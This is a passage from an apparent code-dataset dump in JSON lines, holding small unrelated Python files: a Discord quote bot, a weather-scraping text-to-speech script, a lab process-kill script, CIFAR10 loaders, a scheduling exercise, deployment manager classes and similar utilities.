predict_vector=y_pred)\r\nprint(cm)\r\n\r\nwith open('result.csv','w') as f:\r\n\tfor x in y_pred:\r\n\t\tf.write(\"%s,\\n\"%(x))\r\n\t\r\n\r\n\t\r\n\t\r\n","sub_path":"NLP/NLP_example.py","file_name":"NLP_example.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"200676329","text":"from threeza.conventions import k_and_tau_to_horizon_str, horizon_str_to_k_and_tau, MAX_TAU\n\n\ndef test_horizon():\n for tau in [-MAX_TAU+1, 153, 1, 0, -3, MAX_TAU-1]:\n for k in [141,0,1,4]:\n h = k_and_tau_to_horizon_str(k=k, tau=tau)\n k_back, tau_back = horizon_str_to_k_and_tau(h)\n assert k==k_back\n assert tau==tau_back\n\n\nif __name__=='__main__':\n test_horizon()","sub_path":"tests/categorical/test_horizon.py","file_name":"test_horizon.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"596659326","text":"\n\n#calss header\nclass _CULTIVATED():\n\tdef __init__(self,): \n\t\tself.name = \"CULTIVATED\"\n\t\tself.definitions = [u'Someone who is cultivated has had a good education and knows a lot about and likes art, music, painting, etc.', u'Cultivated land is used to grow crops: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_cultivated.py","file_name":"_cultivated.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"76839780","text":"import discord\nfrom discord.ext import commands\nfrom random import choice as randomchoice\nfrom .utils.dataIO import fileIO\nfrom .utils import checks\nimport os\n\ndefaultQuotes = [\n\t\"Thats why I love switch hitting, I like to be in control ~ Jan, from the Hypermine Dragon Fight - 21st May 2016\",\n\t\"Thank you for wwaking within our server today- That sounds wrong. That does not sound PG at all -Jandoncom 24/5/16\",\n\t\"EVERYONE RUN! GECKOR IS DRIVING A TRUCK AGAIN /o\\ ~ N7DeltaForce 03/06/16\",\n\t\"Everyone wants a piece of this -Jandoncom 7/6/2016\",\n\t\"I Want Khip Kho's Heart! ~ Jandoncom 7/6/2016\"]\n\nclass Quote:\n\t\"\"\"Quote System for Red-DiscordBot\n\n\tBased on the MIRC Quote Script by Zsadist (Hawkee Link: http://hawkee.com/snippet/8378/ )\"\"\"\n\n\tdef __init__(self, bot):\n\t\tself.bot = bot\n\t\tself.quotes = fileIO(\"data/quote/quotes.json\", \"load\")\n\n\tdef save_quotes(self):\n\t\tfileIO(\"data/quote/quotes.json\", 'save', self.quotes)\n\n\t@commands.group(pass_context=True, invoke_without_command=True)\n\tasync def quote(self, ctx):\n\t\t\"\"\"Random Quote to be Drawn\"\"\"\n\t\tawait self.bot.say(\"Quote: \" + randomchoice(self.quotes) + \" \")\n\n\t@quote.command()\n\tasync def add(self, quote):\n\t\t\"\"\"Adds a Quote to the List\"\"\"\n\t\tif quote in self.quotes:\n\t\t\tawait self.bot.say(\"That quote is already in the database!\")\n\t\telse:\n\t\t\tself.quotes.append(quote)\n\t\t\tself.save_quotes()\n\t\t\tawait self.bot.say(\"Quote: \" + quote + \" has been saved to the database!\")\n\n\t@quote.command()\n\t@checks.mod_or_permissions(adminstrator=True)\n\tasync def remove(self, quote):\n\t\t\"\"\"Removes a Quote from the list\"\"\"\n\t\tif quote not in self.quotes:\n\t\t\tawait self.bot.say(\"That quote is already in the database!\")\n\t\telse:\n\t\t\tself.quotes.remove(quote)\n\t\t\tself.save_quotes()\n\t\t\tawait self.bot.say(\"Quote: \" + quote + \" has been removed from the database!\")\n\ndef check_folder():\n\tif not os.path.exists(\"data/quote\"):\n\t\tprint(\"Creating data/quote\")\n\t\tos.makedirs(\"data/quote\")\n\ndef check_files():\n\tfileName = \"data/quote/quotes.json\"\n\tif not fileIO(fileName, \"check\"):\n\t\tprint(\"Creating Empty Quote.json File\")\n\t\tprint(\"Creation Complete! Enjoy your new Quote System ~ Wolfstorm\")\n\t\tfileIO(fileName, \"save\", defaultQuotes)\n\ndef setup(bot):\n\tcheck_folder()\n\tcheck_files()\n\tQuoteSystem = Quote(bot)\n\tbot.add_cog(QuoteSystem)\n\n\n","sub_path":"quote/quote.py","file_name":"quote.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"253493071","text":"import requests\nimport bs4\nimport subprocess\nfrom datetime import datetime\n\ndef main():\n prediction = get_prediction()\n print(prediction)\n say_prediction(prediction)\n\ndef get_prediction():\n res = requests.get('https://tenki.jp/heatshock/5/25/5040/22130/')\n res.raise_for_status()\n soup = bs4.BeautifulSoup(res.text, \"html.parser\")\n elem = soup.select('.today-weather .heatshock-telop-2')\n return elem[0].getText()\n \n\ndef jtalk(t):\n open_jtalk=['open_jtalk']\n mech=['-x','/var/lib/mecab/dic/open-jtalk/naist-jdic']\n htsvoice=['-m','/usr/share/hts-voice/mei/mei_normal.htsvoice']\n speed=['-r','1.0']\n outwav=['-ow','open_jtalk.wav']\n cmd=open_jtalk+mech+htsvoice+speed+outwav\n c = subprocess.Popen(cmd,stdin=subprocess.PIPE)\n c.stdin.write(t.encode())\n c.stdin.close()\n c.wait()\n aplay = ['aplay','-q','open_jtalk.wav']\n wr = subprocess.Popen(aplay)\n\ndef say_prediction(prediction):\n d = datetime.now()\n text = '%s月%s日、本日のヒートショック予報をします。本日は、%s、です。' % (d.month, d.day, prediction)\n jtalk(text)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"test/get_prediction.py","file_name":"get_prediction.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"231643796","text":"#!/usr/bin/python\nimport os, sys, subprocess\n\ncwd = os.getcwd()\nserver = sys.argv[1]\nfile = open(\"./out/pids.pid\", \"r\")\nhostNum = \"\";\n\nkill = False\nfor line in file:\n # get port:pid or Proxy:pid\n pid = line.strip('\\n').split(\":\")\n\n if (pid[0] == \"Server12345\") and (server == \"all\" or server == \"1\" ):\n hostNum = \"13\"\n host = \"dh2026pc\" + hostNum + \".utm.utoronto.ca\"\n remoteCommand = 'cd \"{}\";kill {};'.format(cwd, pid[1])\n print(remoteCommand)\n kill = True\n elif (pid[0] == \"Server12346\") and (server == \"all\" or server == \"2\"):\n hostNum = \"14\"\n host = \"dh2026pc\" + hostNum + \".utm.utoronto.ca\"\n remoteCommand = 'cd \"{}\";kill {};'.format(cwd, pid[1])\n print(remoteCommand)\n kill = True\n elif (pid[0] == \"Server12347\") and (server == \"all\" or server == \"3\") :\n hostNum = \"15\"\n host = \"dh2026pc\" + hostNum + \".utm.utoronto.ca\"\n remoteCommand = 'cd \"{}\";kill {};'.format(cwd, pid[1])\n print(remoteCommand)\n kill = True\n elif (pid[0] == \"Proxy\") and (server == \"all\" or server == \"p\" ):\n print(\"Killed Proxy\")\n subprocess.Popen([\"kill\",pid[1]])\n continue\n elif (pid[0] == \"Monitor\") and (server == \"all\" or server == \"m\" ):\n print(\"Killed Monitor\")\n subprocess.Popen([\"kill\",pid[1]])\n\n if(kill):\n subprocess.Popen([\"ssh\", host, remoteCommand])\n kill = False\n \n ","sub_path":"A1/KillService.py","file_name":"KillService.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"232782605","text":"import logging\nfrom abc import abstractmethod, ABC\nfrom wrapt import synchronized\nfrom datetime import datetime\n\nfrom investing_algorithm_framework.core.events.observable import Observable\nfrom investing_algorithm_framework.core.events.observer import Observer\nfrom investing_algorithm_framework.configuration.constants \\\n import FRAMEWORK_NAME\n\nlogger = logging.getLogger(FRAMEWORK_NAME)\n\n\nclass Worker(Observable, ABC):\n \"\"\"\n Class Worker: manages the execution of a task and the context around\n executing it.\n \"\"\"\n\n id = None\n last_run: datetime = None\n\n def start(self, **kwargs) -> None:\n \"\"\"\n Function that will start the worker, and notify its observers when\n it is finished\n \"\"\"\n\n try:\n logger.info(\"Starting worker {}\".format(self.get_id()))\n except Exception as e:\n logger.exception(e)\n return\n\n try:\n self.work(**kwargs)\n self.notify_observers()\n self.update_last_run()\n except Exception as e:\n logger.error(\"Error occurred in worker {}\".format(self.get_id()))\n logger.exception(e)\n self.update_last_run()\n\n logger.info(\"Worker {} finished\".format(self.get_id()))\n\n @abstractmethod\n def work(self, **kwargs) -> None:\n \"\"\"\n Function that needs to be implemented by a concrete class.\n \"\"\"\n pass\n\n def add_observer(self, observer: Observer) -> None:\n super(Worker, self).add_observer(observer)\n\n def remove_observer(self, observer: Observer) -> None:\n super(Worker, self).remove_observer(observer)\n\n def get_id(self) -> str:\n assert getattr(self, 'id', None) is not None, (\n \"{} should either include a id attribute, or override the \"\n \"`get_id()`, method.\".format(self.__class__.__name__)\n )\n\n return getattr(self, 'id')\n\n @classmethod\n @synchronized\n def update_last_run(cls) -> None:\n \"\"\"\n Update last run, this function is synchronized, which means that\n different instances can update the last_run attribute from different\n threads.\n \"\"\"\n cls.last_run = datetime.now()\n\n @classmethod\n def get_last_run(cls):\n return cls.last_run\n","sub_path":"investing_algorithm_framework/core/workers/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"123830918","text":"\"\"\"\nFind the sum of the digits in the number 100!\n\"\"\"\n\ndef factorial(n):\n \"\"\" Returns the result n! \"\"\"\n if n == 0 or n == 1:\n return n\n else:\n return n * factorial(n-1)\n\n\n\nif __name__ == \"__main__\":\n # find 100!\n number = factorial(100)\n\n \n total = 0\n\n # add the value of each digit to total\n for digit in str(number):\n total += int(digit)\n\n print(total)\n\n","sub_path":"projectEuler/factorial_digit_sum.py","file_name":"factorial_digit_sum.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"393953061","text":"\nimport cv2\nimport numpy as np\nimport time\n\ndef binary_2_hex(masked):\n bin_str = \"\" \n big_out_arr = []\n new_arr = []\n for sub_arr in masked:\n for i,bin in enumerate(sub_arr):\n # print(bin_str)\n if i%8 == 0 and not i==0:\n # Convert the last string into a 4 dig hex in case it's 3\n hex_num = hex(int(bin_str.ljust(8, '0') , 2))\n if len(str(hex_num)) == 3 :\n hex_num = \"0x0\" + hex_num[2]\n new_arr.append(hex_num)\n bin_str = \"\" + str(bin)\n else:\n bin_str = bin_str + str(bin)\n \n # Convert the last string into a 4 dig hex in case it's 3\n hex_num = hex(int(bin_str.ljust(8, '0') , 2))\n if len(str(hex_num)) == 3 :\n hex_num = \"0x0\" + hex_num[2]\n\n new_arr.append(hex_num) #pad with 0's right\n bin_str = \"\"\n big_out_arr.append(new_arr)\n new_arr = []\n # print(\"------------\")\n \n return big_out_arr\n\n # print(big_out_arr)\ndef my_flatten(big_out_arr):\n one_d_out_arr = []\n for row in big_out_arr:\n for elem in row:\n one_d_out_arr.append(elem)\n\n return one_d_out_arr\n \n############ Script params, please feel free to edit\n# Default params for swoop logo\n# new_size = (25, 35) \n# graphic_file = 'swoop_logo.png'\n# show_img = False # Show what the final image will look like\n# write_to_file = True\n# invert_colour_selection = False\n# array_name = \"swoop_logo\"\n\n# Default params for battery\nnew_size = (100, 50) \ngraphic_file = 'battery-full.png'\nshow_img = False # Show what the final image will look like\nwrite_to_file = True\ninvert_colour_selection = True\narray_name = \"battery_full\"\n\n############ Start of the script\n# read the image file\nimg = cv2.imread(graphic_file, 2)\n\n# rescale and convert to binary\nbw_img = cv2.resize(img, dsize=new_size, interpolation = cv2.INTER_AREA) \nret, bw_img = cv2.threshold(bw_img, 70, 255, cv2.THRESH_BINARY)\n\n# Show image \nif show_img == True:\n cv2.imshow(\"Binary\", bw_img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\n# Convert 255's to 1's. 3 is a temporary number\nmasked = np.int32(bw_img)\nif invert_colour_selection == True:\n masked[masked==255] = 3\n masked[masked==0] = 1\n masked[masked==3] = 0\nelse:\n masked[masked==255] = 1\n\n\n\n# Group the 1's into 8 for hex conversion\nmasked = binary_2_hex(masked)\nmasked = my_flatten(masked)\n# masked = masked.flatten(order='C') #<- for use with numpy - now deprecated\n\n# Print in a form that directly copy-pastes\nprint('[%s]' % ', '.join(map(str, masked)))\nprint(len(list(masked)))\n\nif write_to_file == True:\n with open(\"image_hex.txt\", \"w\") as hex_img_file:\n hex_img_file.write(\"static const uint8_t {}[{}] PROGMEM = {{\\n\\t\".format(array_name, len(list(masked)) ))\n for i, hex_code in enumerate(masked):\n if i==(len(masked)-1): #if its the last number, dont add a comma after\n hex_img_file.write(str(hex_code))\n else:\n hex_img_file.write(str(hex_code)+\", \")\n\n hex_img_file.write(\"\\n};\\n\")\n\n\n\n\n\n","sub_path":"img_to_bw.py","file_name":"img_to_bw.py","file_ext":"py","file_size_in_byte":3133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"376165874","text":"from random import randint\r\n\r\ndef roll(sd=6):\r\n rolled = randint(1,sd)\r\n return rolled\r\n\r\ndef main():\r\n sd = 6\r\n rolling = True\r\n while rolling:\r\n again = input('press enter to roll or \"q\" for quit: ')\r\n if again.lower() != 'q':\r\n rolled = roll(sd)\r\n print(rolled)\r\n else:\r\n rolling = False\r\n print('End program')\r\n\r\nmain()\r\n","sub_path":"Dice roll.py","file_name":"Dice roll.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"19633746","text":"\n# Copyright 2016-2022 The FEAGI Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\nparameters = {}\ngenome = {}\ngenome_stats = {}\ngenome_test_stats = []\nbrain = {}\ncortical_list = []\ncortical_map = {}\nintercortical_mapping = []\nupstream_neurons = {}\nmemory_list = {}\nactivity_stats = {}\ntemp_neuron_list = []\noriginal_genome_id = []\nfire_list = []\ntermination_flag = False\nvariation_counter_actual = 0\nexposure_counter_actual = 0\nmnist_training = {}\nmnist_testing = {}\ntop_10_utf_memory_neurons = {}\ntop_10_utf_neurons = {}\nv1_members = []\nprunning_candidates = set()\ngenome_id = \"\"\nevent_id = '_'\nblueprint = \"\"\ncomprehension_queue = ''\nworking_directory = ''\nconnectome_path = ''\npaths = {}\nwatchdog_queue = ''\nexit_condition = False\nfcl_queue = ''\nproximity_queue = ''\nlast_ipu_activity = ''\nlast_alertness_trigger = ''\ninfluxdb = ''\nmongodb = ''\nrunning_in_container = False\nhardware = ''\ngazebo = False\nhw_controller_path = ''\nhw_controller = None\nopu_pub = None\nbrain_activity_pub = None\nbrain_activity_pub_freq = 1\nrouter_address_gazebo = None\nrouter_address_godot = None\nrouter_address_virtual = None\nburst_timer = None\ngenome2 = {}\ngenome_ver = None\nfire_queue = {}\ncontroller_config = None\nburst_publisher = None\nburst_activities = {}\nopu_data = {}\ncortical_dimensions = {}\nvoxel_dict = {}\n\n# rules = \"\"\nbrain_is_running = False\n\n# live_mode_status can have modes of idle, learning, testing, tbd\nlive_mode_status = 'idle'\nfcl_history = {}\nbrain_run_id = \"\"\nburst_detection_list = {}\nburst_count = 0\nfire_candidate_list = {}\nprevious_fcl = {}\nfuture_fcl = {}\nlabeled_image = []\ntraining_neuron_list_utf = {}\ntraining_neuron_list_img = {}\nempty_fcl_counter = 0\nneuron_mp_list = []\npain_flag = False\ncumulative_neighbor_count = 0\ntime_neuron_update = ''\ntime_apply_plasticity_ext = ''\nplasticity_time_total = None\nplasticity_time_total_p1 = None\nplasticity_dict = {}\n\ntester_test_stats = {}\n\n# Flags\nflag_ready_to_inject_image = False\n","sub_path":"src/inf/runtime_data.py","file_name":"runtime_data.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"650124423","text":"import signal\nimport time\n\nclass GracefulKiller:\n kill_now = False\n def __init__(self):\n signal.signal(signal.SIGINT, self.exit_gracefully)\n signal.signal(signal.SIGTERM, self.exit_gracefully)\n\n def exit_gracefully(self,signum, frame):\n self.kill_now = True\n\nif __name__ == '__main__':\n killer = GracefulKiller()\n print(\"I'm going into the loop\")\n while True:\n if killer.kill_now:\n break\n\n print (\"End of the program. I was killed gracefully\")\n","sub_path":"playground/trap_key.py","file_name":"trap_key.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"39737763","text":"\"\"\"\nCreation of Trainloader and Testloader from CIFAR10 Dataset\n\"\"\"\nimport torch\nimport torchvision\nimport torchvision.transforms as transforms\n\ntransform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n])\n\n# Training Data from CIFAR10 Dataset\ntrain_data = torchvision.datasets.CIFAR10(root='./data', train=True, download=True, transform=transform)\ntrainloader = torch.utils.data.DataLoader(train_data, batch_size=512, shuffle=True, num_workers=2)\n\n# Testing Data from CIFAR10 Dataset\ntest_data = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform)\ntestloader = torch.utils.data.DataLoader(test_data, batch_size=512, shuffle=False, num_workers=2)\n\n# Class labels\nclasses = ('Airplane', 'Car', 'Bird', 'Cat', 'Deer', 'Dog', 'Frog', 'Horse', 'Ship', 'Truck')\n","sub_path":"06_Deep_CNN_Architectures/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"314730834","text":"import turtle\r\nimport gameScreen\r\n#Pen\r\npen = turtle.Turtle()\r\npen.speed(0)\r\npen.shape(\"square\")\r\npen.penup()\r\npen.hideturtle()\r\n\r\ndef pen_update(score_a, score_b):\r\n pen.clear()\r\n pen.goto(-600, 300)\r\n pen.color(\"Blue\")\r\n pen.write(\"Player Blue: {}\".format(score_a), align=\"left\", font=(\"Courier\", 24, \"normal\"))\r\n pen.color(\"red\")\r\n pen.goto(600, 300)\r\n pen.write(\"Player Red: {}\".format(score_b), align=\"right\", font=(\"Courier\", 24, \"normal\"))\r\n gameScreen.ball.dx = 2\r\n gameScreen.ball.dy = 1.4\r\n","sub_path":"Air Hockey/pen.py","file_name":"pen.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"411053943","text":"import functions as func\r\n\r\ndef completion_time(bt):\r\n ct = []\r\n for i in range(len(bt)):\r\n if i != 0:\r\n ct.append(bt[i] + ct[i - 1])\r\n else:\r\n ct.append(bt[0])\r\n return ct\r\n\r\n\r\nif __name__ == \"__main__\":\r\n print('Non-Preemptive process')\r\n print('Criteria:- Arrival Time')\r\n arrival_time = [0, 1, 2, 3, 4]\r\n burst_time = [4, 3, 1, 2, 5]\r\n comp_time = completion_time(burst_time)\r\n tat = func.turn_around_time(arrival_time, comp_time)\r\n w_time = func.waiting_time(comp_time, arrival_time, burst_time)\r\n func.display(arrival_time, burst_time, comp_time, w_time, tat)\r\n","sub_path":"Programs/Python/first come first serve.py","file_name":"first come first serve.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"394109762","text":"\n\n#========================= User Defined Variables =========================\ninFile = '/Users/biggus/Desktop/2KBup_collapsed_upstream_ex-conserved_mosquito-motifs_nr.te.hgp.ngt0.pVal.culled.txt'\noutFile = '/Users/biggus/Desktop/2KBup_collapsed_upstream_ex-conserved_mosquito-motifs_nr.te.hgp.ngt0.pVal.culled.sorted.txt'\n\n#==========================================================================\n\n#--------- Script Specific Function Definitions ---------------------\n\n\n#--------------------------------------------------------------------\n\n\ninFile = open(inFile, 'rU').readlines()\n\n\nfor i in range (0, len(inFile)):\n line = inFile[i].split('\\t')\n motifPair = [line[0], line[1]]\n motifPair.sort()\n line[0],line[1] = motifPair[0],motifPair[1]\n inFile[i] = '\\t'.join(line)\n \n \noutFile = open(outFile, 'w')\noutFile.writelines(inFile)\noutFile.close()\n ","sub_path":"gusPyCode/ModuleDiscovery/orderMotifPairs.py","file_name":"orderMotifPairs.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"407594313","text":"# Copyright 2014 Huawei Technologies Co. Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n__author__ = \"Grace Yu (grace.yu@huawei.com)\"\n\n\"\"\"Module to get configs from provider and isntallers and update\n them to provider and installers.\n\"\"\"\nfrom compass.deployment.installers.installer import OSInstaller\nfrom compass.deployment.installers.installer import PKInstaller\nfrom compass.deployment.utils import constants as const\nfrom compass.utils import util\n\n\nimport logging\n\n\nclass DeployManager(object):\n \"\"\"Deploy manager module.\"\"\"\n def __init__(self, adapter_info, cluster_info, hosts_info):\n \"\"\"Init deploy manager.\"\"\"\n self.os_installer = None\n self.pk_installer = None\n\n # Get OS installer\n os_installer_name = adapter_info[const.OS_INSTALLER][const.NAME]\n self.os_installer = DeployManager._get_installer(OSInstaller,\n os_installer_name,\n adapter_info,\n cluster_info,\n hosts_info)\n\n # Get package installer\n pk_info = adapter_info.setdefault(const.PK_INSTALLER, {})\n if pk_info:\n pk_installer_name = pk_info[const.NAME]\n self.pk_installer = DeployManager._get_installer(PKInstaller,\n pk_installer_name,\n adapter_info,\n cluster_info,\n hosts_info)\n\n @staticmethod\n def _get_installer(installer_type, name, adapter_info, cluster_info,\n hosts_info):\n \"\"\"Get installer instance.\"\"\"\n callback = getattr(installer_type, 'get_installer')\n installer = callback(name, adapter_info, cluster_info, hosts_info)\n\n return installer\n\n def deploy(self):\n \"\"\"Deploy the cluster.\"\"\"\n deployed_config = self.deploy_os()\n package_deployed_config = self.deploy_target_system()\n\n util.merge_dict(deployed_config, package_deployed_config)\n\n return deployed_config\n\n def check_cluster_health(self, callback_url):\n logging.info(\"DeployManager check_cluster_health...........\")\n self.pk_installer.check_cluster_health(callback_url)\n\n def clean_progress(self):\n \"\"\"Clean previous installation log and progress.\"\"\"\n self.clean_os_installtion_progress()\n self.clean_package_installation_progress()\n\n def clean_os_installtion_progress(self):\n # OS installer cleans previous installing progress.\n if self.os_installer:\n self.os_installer.clean_progress()\n\n def clean_package_installation_progress(self):\n # Package installer cleans previous installing progress.\n if self.pk_installer:\n self.pk_installer.clean_progress()\n\n def prepare_for_deploy(self):\n self.clean_progress()\n\n def deploy_os(self):\n \"\"\"Deploy OS to hosts which need to in the cluster.\n\n Return OS deployed config.\n \"\"\"\n if not self.os_installer:\n return {}\n\n pk_installer_config = {}\n if self.pk_installer:\n # generate target system config which will be installed by OS\n # installer right after OS installation is completed.\n pk_installer_config = self.pk_installer.generate_installer_config()\n logging.debug('[DeployManager]package installer config is %s',\n pk_installer_config)\n\n # Send package installer config info to OS installer.\n self.os_installer.set_package_installer_config(pk_installer_config)\n\n # start to deploy OS\n return self.os_installer.deploy()\n\n def deploy_target_system(self):\n \"\"\"Deploy target system to all hosts in the cluster.\n\n Return package deployed config.\n \"\"\"\n if not self.pk_installer:\n return {}\n\n return self.pk_installer.deploy()\n\n def redeploy_os(self):\n \"\"\"Redeploy OS for this cluster without changing configurations.\"\"\"\n if not self.os_installer:\n logging.info(\"Redeploy_os: No OS installer found!\")\n return\n\n self.os_installer.redeploy()\n logging.info(\"Start to redeploy OS for cluster.\")\n\n def redeploy_target_system(self):\n \"\"\"Redeploy target system for the cluster without changing config.\"\"\"\n if not self.pk_installer:\n logging.info(\"Redeploy_target_system: No installer found!\")\n return\n\n self.pk_installer.deploy()\n logging.info(\"Start to redeploy target system.\")\n\n def redeploy(self):\n \"\"\"Redeploy the cluster without changing configurations.\"\"\"\n self.redeploy_os()\n self.redeploy_target_system()\n\n def remove_hosts(self, package_only=False, delete_cluster=False):\n \"\"\"Remove hosts from both OS and/or package installlers server side.\"\"\"\n if self.os_installer and not package_only:\n self.os_installer.delete_hosts()\n\n if self.pk_installer:\n self.pk_installer.delete_hosts(delete_cluster=delete_cluster)\n\n def os_installed(self):\n if self.os_installer:\n self.os_installer.ready()\n if self.pk_installer:\n self.pk_installer.os_ready()\n\n def cluster_os_installed(self):\n if self.os_installer:\n self.os_installer.cluster_ready()\n if self.pk_installer:\n self.pk_installer.cluster_os_ready()\n\n def package_installed(self):\n if self.pk_installer:\n self.pk_installer.ready()\n\n def cluster_installed(self):\n if self.pk_installer:\n self.pk_installer.cluster_ready()\n\n\nclass Patcher(DeployManager):\n \"\"\"Patcher Module.\"\"\"\n def __init__(self, adapter_info, cluster_info, hosts_info, cluster_hosts):\n self.pk_installer = None\n self.cluster_info = cluster_info\n registered_roles = cluster_info['flavor']['roles']\n\n pk_info = adapter_info.setdefault(const.PK_INSTALLER, {})\n if pk_info:\n pk_installer_name = pk_info[const.NAME]\n self.pk_installer = Patcher._get_installer(PKInstaller,\n pk_installer_name,\n adapter_info,\n cluster_info,\n hosts_info)\n\n patched_role_mapping = {}\n for role in registered_roles:\n patched_role_mapping[role] = []\n for host in cluster_hosts:\n if len(host['patched_roles']) == 0:\n continue\n for role in host['patched_roles']:\n patched_role_mapping[role['name']].append(host)\n self.patched_role_mapping = patched_role_mapping\n\n def patch(self):\n patched_config = self.pk_installer.patch(self.patched_role_mapping)\n\n return patched_config\n\n\nclass PowerManager(object):\n \"\"\"Manage host to power on, power off, and reset.\"\"\"\n\n def __init__(self, adapter_info, cluster_info, hosts_info):\n os_installer_name = adapter_info[const.OS_INSTALLER][const.NAME]\n self.os_installer = DeployManager._get_installer(OSInstaller,\n os_installer_name,\n adapter_info,\n cluster_info,\n hosts_info)\n\n def poweron(self):\n if not self.os_installer:\n logging.info(\"No OS installer found, cannot power on machine!\")\n return\n self.os_installer.poweron()\n\n def poweroff(self):\n if not self.os_installer:\n logging.info(\"No OS installer found, cannot power on machine!\")\n return\n self.os_installer.poweroff()\n\n def reset(self):\n if not self.os_installer:\n logging.info(\"No OS installer found, cannot power on machine!\")\n return\n self.os_installer.reset()\n","sub_path":"compass/deployment/deploy_manager.py","file_name":"deploy_manager.py","file_ext":"py","file_size_in_byte":8826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"5333585","text":"import os\r\nimport h5py as h5\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\n\r\ndir_emoji = './app_data/tweets_emojis'\r\ndir_emoji2 = './app_data/tweets_emojis_processed'\r\ndir_labels = './app_data/tweets_emojis_labels'\r\ndir_workspace = './app_data/model_workspace'\r\nh5_path = dir_workspace + '/dataset.hdf5'\r\n\r\nquery_list = [ \r\n \"Affirmative Action\", \"DACA immigration\" , \r\n \"Assisted Suicide\", \"Capital punishment\", \r\n \"labor unions\", \"vaccines\", \"concealed weapons\", \r\n \"self-driving cars\",\"Artificial intelligence\", \r\n \"Donald Trump\",\"Planned Parenthood\", \"Social Security\", \"NRA\", \r\n \"Fracking\", \"Nuclear Energy\", \"NSA Surveillance\", \"Military Spending\", \r\n \"Foreign Aid\", \"Dakota Access Pipeline\", \"Oil Drilling\", \"Paris Climate Agreement\", \r\n \"Trans Pacific Partnership\", \"China Tariffs\", \"Labor Unions\", \r\n \"Universal Basic Income\", \"Paid Sick Leave\", \"Safe Haven\", \"Medicaid\", \r\n \"Edward Snowden\", \"Whistleblower Protection\", \"Armed Teachers\", \"Gun Control\",\r\n \"In-State Tuition\", \"Immigration Ban\", \"Border Wall\", \"First Amendment\", \r\n \"Confederate Flag\", \"Death Penalty\", \"Religious Freedom Act\",\r\n \"Obamacare\", \"Marijuana\"\r\n ]\r\nquery_list2 = [\"brexit_tweets\", \"ferguson_tweets\", \"travel_ban_tweets\", \"trump_tweets\", \"ireland_tweets\"]\r\nquery_list.extend(query_list2)\r\n\r\n\r\n#Write train/test data/label in subgroup of hdf5 file\r\ndef write_to_h5(h5_path, X, y, test_size=0.25, shuffle=False, sub_group = None):\r\n assert(len(X) == len(y))\r\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, shuffle=shuffle)\r\n with h5.File(h5_path, \"a\") as f:\r\n dt = h5.special_dtype(vlen=bytes)\r\n f.create_dataset(sub_group + \"/X_train\", data = [n.encode(\"ascii\", \"ignore\") for n in X_train], dtype = 